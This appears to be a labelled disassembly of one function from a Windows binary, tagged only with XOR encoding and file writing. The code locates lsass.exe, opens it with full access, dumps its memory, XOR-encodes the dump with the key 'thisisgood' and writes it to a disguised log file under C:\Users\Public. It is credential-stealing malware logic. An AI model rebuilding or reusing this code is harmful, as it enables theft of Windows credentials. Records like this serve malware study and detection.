Function at 0x140001260
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
sub rsp, 0x2a8
call fcn.140007ebc
cmp dword [rax], 1
jne 0x14000127e
mov eax, 0xd62e2b
add rsp, 0x2a8
ret
call fcn.140007ebc
cmp dword [rax], 2
jne 0x1400015c4
call fcn.140007ec4
mov rcx, qword [rax]
mov rax, qword [rcx + 8]
cmp byte [rax], 0x74
jne 0x1400015b7
cmp byte [rax + 1], 0x6f
jne 0x1400015b7
cmp byte [rax + 2], 0
jne 0x1400015b7
mov rax, qword gs:[0x58]
mov qword [rsp + 0x2b0], rbx
mov ebx, 4
mov qword [rsp + 0x2b8], rsi
add rbx, qword [rax]
mov qword [rsp + 0x2a0], rdi
mov eax, dword [rbx]
cmp dword [0x140024d88], eax
jle 0x14000132d
lea rcx, [0x140024d88]
call fcn.140001640
cmp dword [0x140024d88], 0xffffffff
jne 0x14000132d
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtDelayExecution
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140024d88]
mov qword [0x140024d90], rax
call fcn.1400015d4
mov eax, dword [rbx]
cmp dword [0x140024da0], eax
jle 0x14000137c
lea rcx, [0x140024da0]
call fcn.140001640
cmp dword [0x140024da0], 0xffffffff
jne 0x14000137c
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ZwSetTimerResolution
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140024da0]
mov qword [0x140024da8], rax
call fcn.1400015d4
cmp byte [0x140023aa0], 0
je 0x1400013a9
mov rax, qword [0x140024da8]
test rax, rax
je 0x1400013a9
lea r8, [rsp + 0x2c8]
mov dl, 1
mov ecx, 1
call rax
mov byte [0x140023aa0], 0
mov rax, qword [0x140024d90]
mov qword [rsp + 0x48], 0xfffffffffa0a1f00
test rax, rax
je 0x1400013c7
lea rdx, [rsp + 0x48]
xor ecx, ecx
call rax
xor esi, esi
xor edx, edx
mov ebx, esi
mov dword [rsp + 0x2c0], esi
lea ecx, [rsi + 2]
call qword [0x140024d80]
xor edx, edx
lea rcx, [rsp + 0x64]
mov r8d, 0x234
mov rdi, rax
call fcn.140016270
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x238
mov rcx, rdi
call qword [0x140024d60]
test eax, eax
je 0x14000145a
lea rdx, str.lsass.exe
lea rcx, [0x140020808]
call fcn.140005c44
test eax, eax
je 0x14000145a
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [0x140024d78]
mov ebx, dword [rsp + 0x68]
lea rdx, str.lsass.exe
lea rcx, [rsp + 0x8c]
call fcn.140005c44
test eax, eax
jne 0x140001430
xor r8d, r8d
lea r9, [rsp + 0x40]
lea edx, [r8 + 1]
lea ecx, [rdx + 0x13]
call qword [0x140024d50]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [0x140024d68]
mov rdi, rax
test rax, rax
jne 0x140001495
mov edx, ebx
lea rcx, str.cant_open_process__pid:_d
call fcn.140001190
lea rax, [0x1400011f0]
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x50], rax
mov r9d, 2
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x30], rax
mov edx, ebx
mov qword [rsp + 0x28], rsi
mov rcx, rdi
mov qword [rsp + 0x20], rsi
call qword [0x140024d48]
test eax, eax
je 0x140001595
movsxd rcx, dword [0x140024d40]
call fcn.1400016b8
mov ebx, dword [0x140024d40]
mov rcx, rax
mov rdx, qword [0x140024d70]
mov r8d, ebx
mov rdi, rax
call fcn.140016630
test ebx, ebx
je 0x14000152c
mov rcx, rdi
lea r9, str.thisisgood
mov rdx, rsi
mov r8d, ebx
mov rax, rdx
lea rcx, [rcx + 1]
and eax, 7
inc rdx
movzx eax, byte [rax + r9]
xor byte [rcx - 1], al
sub r8, 1
jne 0x140001511
mov qword [rsp + 0x30], rsi
lea rcx, str.C:UsersPublicDownloadsVM21_6_8.log
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r8d, dword [0x140024d40]
lea r9, [rsp + 0x2c0]
mov rcx, rax
mov qword [rsp + 0x20], rsi
mov rdx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000158c
lea rcx, str._n___to_C:UsersPublicDownloadsVM21_6_8.log_n
call fcn.140001190
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x2a0]
xor eax, eax
mov rsi, qword [rsp + 0x2b8]
mov rbx, qword [rsp + 0x2b0]
add rsp, 0x2a8
ret
mov eax, 0x160b5
add rsp, 0x2a8
ret
mov eax, 0x3176e0
add rsp, 0x2a8
ret